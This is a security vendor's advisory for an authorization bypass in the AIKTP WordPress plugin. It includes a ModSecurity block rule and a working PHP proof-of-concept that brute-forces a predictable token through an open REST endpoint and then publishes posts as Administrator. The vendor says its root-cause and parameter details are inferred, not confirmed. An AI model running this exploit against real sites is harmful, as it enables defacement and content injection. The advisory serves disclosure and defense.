Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-110728 (metadata-based): This is an unauthenticated authorization bypass in the AIKTP WordPress plugin, versions up to and including 5.0.7, caused by a predictable sync token that can be recovered via a publicly reachable REST endpoint. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) rates the issue 5.3, reflecting network-only access, no authentication, and low integrity impact. No patch is available, so all deployed versions remain exposed.
Root Cause: The plugin generates its sync token (`aiktpz_token`) with PHP’s `uniqid()`, a non-cryptographic function whose output derives from the current microsecond timestamp. An attacker who can narrow the generation window to one second faces roughly one million microsecond candidates. The unauthenticated REST route `/wp-json/aiktp/checkToken` is registered with `permission_callback => __return_true` and acts as an unlimited oracle for validating candidate tokens. Atomic Edge analysis infers these code patterns directly from the CVE description; the actual source is unavailable, so the exact implementation of token comparison and rate limiting is unconfirmed. The capability checks in `check_valid_token` and its wrappers (`verify_aiktp_token_with_edit_capability`, `verify_aiktp_token_with_upload_capability`) evaluate the stored Administrator account referenced by the `aiktp_author` option, not the caller’s identity, so token possession substitutes for authentication. When `aiktpz_token` has never been initialized, a loose comparison in `check_valid_token` accepts an empty token, enabling a zero-effort bypass.
Exploitation: An unauthenticated attacker sends `POST /wp-json/aiktp/checkToken` with a candidate token value. Success responses reveal the valid token. Alternatively, submitting an empty token succeeds on uninitialized sites. With the token in hand, the attacker calls `POST /wp-json/aiktp/createpost` to publish arbitrary posts attributed to the Administrator, `POST /wp-json/aiktp/doUpdatePostWithImageURL` to overwrite the body of any existing post, and `POST /wp-json/aiktp/doUploadImageToWP` to import remote media and attach it as the featured image of any post. Atomic Edge analysis classifies these endpoints from the CVE description; the request parameter names beyond the token are inferred and must be confirmed against the live plugin.
Remediation: A fix requires replacing `uniqid()` with a cryptographically secure random source such as `random_bytes()` or `wp_generate_password()` with a sufficient length. The `checkToken` endpoint should enforce authentication and capability checks against the actual REST caller, add rate limiting, and use strict comparison (`===`) for token validation. The stored `aiktp_author` option should not serve as an authorization surrogate; each protected route must call `current_user_can()` for the requesting user. Atomic Edge analysis marks these requirements as inferred from the CWE-285 classification and the description.
Impact: An unauthenticated attacker who recovers the token gains Administrator-equivalent authority over the affected endpoints. This permits content injection, overwriting existing posts, and importing and attaching remote media as featured images. The CVSS integrity impact is low, but the practical effect includes site defacement, SEO poisoning, and content-based attack staging. No confidentiality, availability, or code execution impact is indicated by the vector.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-110728 (metadata-based)
# Blocks unauthenticated probes against the checkToken brute-force oracle.
# Uses request body inspection because the token may be submitted via POST.
SecRule REQUEST_URI "@streq /wp-json/aiktp/checkToken" "id:20261107,phase:2,deny,status:403,chain,msg:'CVE-2026-110728 AIKTP checkToken brute-force oracle',severity:'CRITICAL',tag:'CVE-2026-110728'"
SecRule REQUEST_BODY "@rx ^token=(?:[a-f0-9]{0,12})?$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-110728 - AIKTP <= 5.0.7 - Unauthenticated Authorization Bypass via Predictable Token via Predictable 'aiktpz_token' + '/checkToken' Brute-Force Oracle
// Configure the target WordPress site URL (no trailing slash).
$target_url = 'http://localhost';
// Step 1: Test the zero-effort bypass. On sites where the 'aiktpz_token'
// option was never initialized, a loose comparison accepts an empty token.
function check_token($target_url, $token) {
$url = $target_url . '/wp-json/aiktp/checkToken';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(['token' => $token]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
]);
$body = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return [$code, $body];
}
// Step 2: Brute-force the token. The token is derived from uniqid(), so it
// contains the generation timestamp and a microsecond-derived suffix.
// Provide a base timestamp (seconds since epoch) and a small search radius.
function brute_force_token($target_url, $base_ts, $window = 60) {
for ($ts = $base_ts - $window; $ts <= $base_ts + $window; $ts++) {
$prefix = dechex($ts);
// uniqid() returns 13 hex chars: 8 timestamp, 5 microsecond.
foreach (range(0, 0xFFFFF) as $us) {
$candidate = $prefix . str_pad(dechex($us), 5, '0', STR_PAD_LEFT);
list($code, $body) = check_token($target_url, $candidate);
if ($code === 200 && stripos($body, 'true') !== false) {
return $candidate;
}
}
}
return null;
}
// Step 3: Demonstrate the impact by publishing a post as the Administrator.
function create_post($target_url, $token) {
$url = $target_url . '/wp-json/aiktp/createpost';
$payload = [
'token' => $token,
'title' => 'Atomic Edge PoC',
'content' => 'Content published via the AIKTP authorization bypass.',
'status' => 'publish',
];
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
]);
$body = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return [$code, $body];
}
// --- Execution ---
list($code, $body) = check_token($target_url, '');
if ($code === 200 && stripos($body, 'true') !== false) {
echo "[+] Empty token accepted. Zero-effort bypass succeeded.n";
exit(0);
}
// Replace with an approximate generation timestamp for the brute-force path.
$token = brute_force_token($target_url, time());
if ($token === null) {
echo "[-] Token not recovered. Widen the search window if generation time is known.n";
exit(1);
}
echo "[+] Recovered token: {$token}n";
list($code, $body) = create_post($target_url, $token);
echo "[+] createpost returned HTTP {$code}: {$body}n";